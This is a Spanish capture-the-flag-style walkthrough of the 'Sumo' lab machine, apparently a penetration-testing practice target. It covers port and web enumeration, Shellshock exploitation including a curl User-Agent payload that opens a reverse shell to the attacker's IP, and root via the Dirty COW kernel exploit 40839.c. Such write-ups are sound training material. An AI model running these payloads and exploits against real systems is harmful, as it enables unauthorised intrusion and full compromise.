# Sumo

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2F7uB1Hir9jMeN9wKmFUmw%2FSQL%20injection%20vulnerability%20in%20WHERE%20clause%20allowing%20retrieval%20of%20hidden%20data%20(5).png?alt=media&#x26;token=0b4c16f9-9a0d-4e2d-9817-2fab59a50a4c" alt=""><figcaption></figcaption></figure>

### Enumeración

#### Puertos abiertos

Comenzamos realizando un escaneo rápido de los servicios que tiene abiertos está máquina.

```
nmap -p- --open --min-rate 5000 -Pn -n -vvv 192.168.59.87
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FaP7zWA6w4bGCKD5AEehe%2Fimage.png?alt=media&#x26;token=d03f0c89-6d5c-4a22-8995-112ee7a5146d" alt=""><figcaption></figcaption></figure>

Puertos 22 (SSH) y 80 (HTTP) abiertos. Vamos a realizar un escaneo profundo de estos servicios.&#x20;

```
nmap -p22,80 -sVC -vvv 192.168.59.87
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FCLKz3sHjyrIIta4lXMLT%2Fimage.png?alt=media&#x26;token=7075f448-d9ff-4b3b-9e6d-f17c2b83bfe6" alt=""><figcaption></figcaption></figure>

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2Fsu9LgjltO7GC6xmHvogY%2Fimage.png?alt=media&#x26;token=cb937953-417a-4f04-9265-25290cdebbde" alt=""><figcaption></figcaption></figure>

Servicios abiertos:

* Puerto 22 -> SSH -> OpenSSH 5.9
* Puerto 80 -> HTTP -> Apache httpd 2.2.22

#### Enumeración Web

Comenzamos viendo el contenido del servidor Web en el navegador.&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2Fj1LRe4zM1wA2tJTKmPFg%2Fimage.png?alt=media&#x26;token=d6434b49-97cd-4b1a-a6e7-9e1bcdddf8f2" alt=""><figcaption></figcaption></figure>

Seguimos enumerando los directorios del sitio Web.

```
dirsearch -u "192.168.219.87" -i200,301,401,403 -t 30
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FkJHzvCZ5FqXKjng54jN8%2Fimage.png?alt=media&#x26;token=f8741bc8-06c3-47c3-aa03-90ec4edecd20" alt=""><figcaption></figcaption></figure>

Por otro lado, mientras se ejecuta "dirsearch", ponemos a trabajar a "nikto" ya que estamos tratando con un servidor Web.&#x20;

```
nikto -h 192.168.59.87
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FqxTa0jsmItvLlLE2pcPr%2Fimage.png?alt=media&#x26;token=755ff1f2-af7d-423d-829a-d83e82f2df24" alt=""><figcaption></figcaption></figure>

Obtenemos información interesante.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FleYlUIl4daFzPw7BjDwk%2Fimage.png?alt=media&#x26;token=31515495-d379-42f1-abe7-1b4a0609285a" alt=""><figcaption></figcaption></figure>

El servidor es vulnerable a la vulnerabilidad de "shellshock". Vamos a ver el contenido del directorio "/cgi-bin/test.sh" en el navegador.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FNOFvotwVY88FRGrSQtYD%2Fimage.png?alt=media&#x26;token=05a1aedf-3d52-4083-9095-565b6bd05139" alt=""><figcaption></figcaption></figure>

### Explotación

#### Método 1 (Metasploit)

ShellShock es una vulnerabilidad explotable por inyección de código. Vamos a explotar utilizando la herramienta "Metasploit". Utilizaremos el comando "search" para buscar todos los exploits de shellshock.&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FgJoYQ6rdWGG6NT3XjEf6%2Fimage.png?alt=media&#x26;token=e5e3185a-edc7-4be1-a9b3-da8f63af5c66" alt=""><figcaption></figcaption></figure>

Tenemos un posible exploit candidato. Vamos a probarlo. Primero lo configuramos con los parámetros necesarios.&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FdffwmxKAbqIpCLwf6BrO%2Fimage.png?alt=media&#x26;token=c9d26fd0-9bf5-4e8d-a62d-ed7c9d2f5fce" alt=""><figcaption></figcaption></figure>

Ejecutamos.&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FHllMwSjpB1K7Hl1fJSM0%2Fimage.png?alt=media&#x26;token=36f8f41f-3410-4ae2-8c70-f3958c2f50e1" alt=""><figcaption></figcaption></figure>

Obtenemos acceso al directorio Web como "www-data".

#### Método 2 (shell a través de User Agent)

Otra forma de explotar la vulnerabilidad de "shellshock" es a través del envío de comandos a través de "User-Agent". Primero pondremos un nc a la escucha en el puerto 1337. Posteriormente, con curl lanzaremos la petición siguiente.&#x20;

```
sudo curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/192.168.49.59/1337 0>&1' http://192.168.59.87/cgi-bin/test.sh
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FfPgkUDUFuyJFOLuRA3rO%2Fimage.png?alt=media&#x26;token=4c96fe27-8fb7-46c0-a2f1-ca1114de4227" alt=""><figcaption></figcaption></figure>

Ya tendremos conexión con la máquina objetivo de nuevo. Vamos a buscar la flag local.txt

```
find / -name local.txt
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FjJdF1rirharty3hOf6vs%2Fimage.png?alt=media&#x26;token=ab74a816-cdc4-480c-8b43-d1fc8718d790" alt=""><figcaption></figcaption></figure>

### Elevación de privilegios

Comenzamos enumerando que puede ejecutar este usuario como "root" sin password.&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2F6PLFiQbNBRUiGlqbBWqY%2Fimage.png?alt=media&#x26;token=99e5e5b7-4531-4e3e-b2ce-0a019277ac6a" alt=""><figcaption></figcaption></figure>

Pero no tenemos password para ese usuario. Otra cosa que podemos hacer es enumerar la versión de kernel.&#x20;

```
uname -a
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2F8LxuTCpYcOrpCqyiKwhu%2Fimage.png?alt=media&#x26;token=ce20c864-1f50-41be-836e-3bca79411e7f" alt=""><figcaption></figcaption></figure>

Tenemos una versión 3.2.0 de ubuntu. Vamos a buscar vulnerabilidades para esta versión.&#x20;

```
searchsploit linux kernel 3.2.0
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FE6GgtfYuuMpmqydou1x8%2Fimage.png?alt=media&#x26;token=153dbb88-1919-4b78-b4c8-c04351c3cefd" alt=""><figcaption></figcaption></figure>

Tenemos como resultado el 40839.c. Vamos a descargarlo.&#x20;

```
searchsploit -m 40839.c
```

Para ejecutar este exploit realizamos el siguiente proceso:

1. Ejecutamos un servidor HTTP con Python para transferir el exploit a la máquina objetivo.

```
python2 -m SimpleHTTPServer 80
```

2. Transferimos el exploit a la máquina víctima

```
wget http://192.168.45.5/40839.c
```

3. Compilamos el archivo

```
gcc -pthread 40839.c -o exploit -lcrypt
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FiRyLD6p118AM0Ona9A4V%2Fimage.png?alt=media&#x26;token=ec8fa4d7-3d07-472c-b0b1-e993fc126870" alt=""><figcaption></figcaption></figure>

Nos reportará este error. Esto se debe a que el PATH donde nos encontramos  no es correcto, lo modificamos y volvemos a compilar el exploit.

```
PATH=PATH$:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/lib/gcc/x86_64-linux-gnu/4.8/;export PATH
```

4. Damos permisos de ejecución y ejecutamos

```
chmod +x exploit
./exploit
```

5. Generamos una password

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FSY7d9xp6rKsDzuAqtKbm%2Fimage.png?alt=media&#x26;token=e0d65b31-dc9c-4f00-a4a8-cfa87dc96920" alt=""><figcaption></figcaption></figure>

Ejecutamos y esperamos 1 minuto. Después de esto, consultamos los usuarios generados.&#x20;

```
cat /etc/passwd
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FiVkqOC7zJ6LpVjAexxDF%2Fimage.png?alt=media&#x26;token=e71c7454-07e4-43dc-9da3-eb6746fa40b5" alt=""><figcaption></figcaption></figure>

Ya tenemos generado el usuario nuevo. Ahora con este usuario y la contraseña introducida anteriormente deberiamos poder elevar a máximos privilegios. Pero antes, debemos convertir la tty en interactiva.&#x20;

```
python -c 'import pty;pty.spawn("/bin/bash")'
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FYYtPoiZL1GW1nJ6ijx7h%2Fimage.png?alt=media&#x26;token=4e98883a-736f-4c1b-a1c3-545fb3ec26d4" alt=""><figcaption></figcaption></figure>

Y ya tendremos conexión con el nuevo usuario creado, "firefart".

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FJPoBFUHcIEDCyt36Kfx8%2Fimage.png?alt=media&#x26;token=4c34aece-a64c-45ac-94b0-582a15b9b027" alt=""><figcaption></figcaption></figure>

Y al mismo tiempo, tendremos privilegios como "root". Solo quedará buscar la flag proof.txt

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2Fd9MlpxueF51NfPjcJByw%2Fimage.png?alt=media&#x26;token=4422732e-2c87-4353-a72d-b86709074b0b" alt=""><figcaption></figcaption></figure>

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FjO7f8bMj47fCrFTTTlV0%2Fimage.png?alt=media&#x26;token=c2ab085d-5dbc-4dcc-94aa-6bbb92d8537a" alt=""><figcaption></figcaption></figure>

{% embed url="<https://youtu.be/LS8bG_Gt5ug>" %}
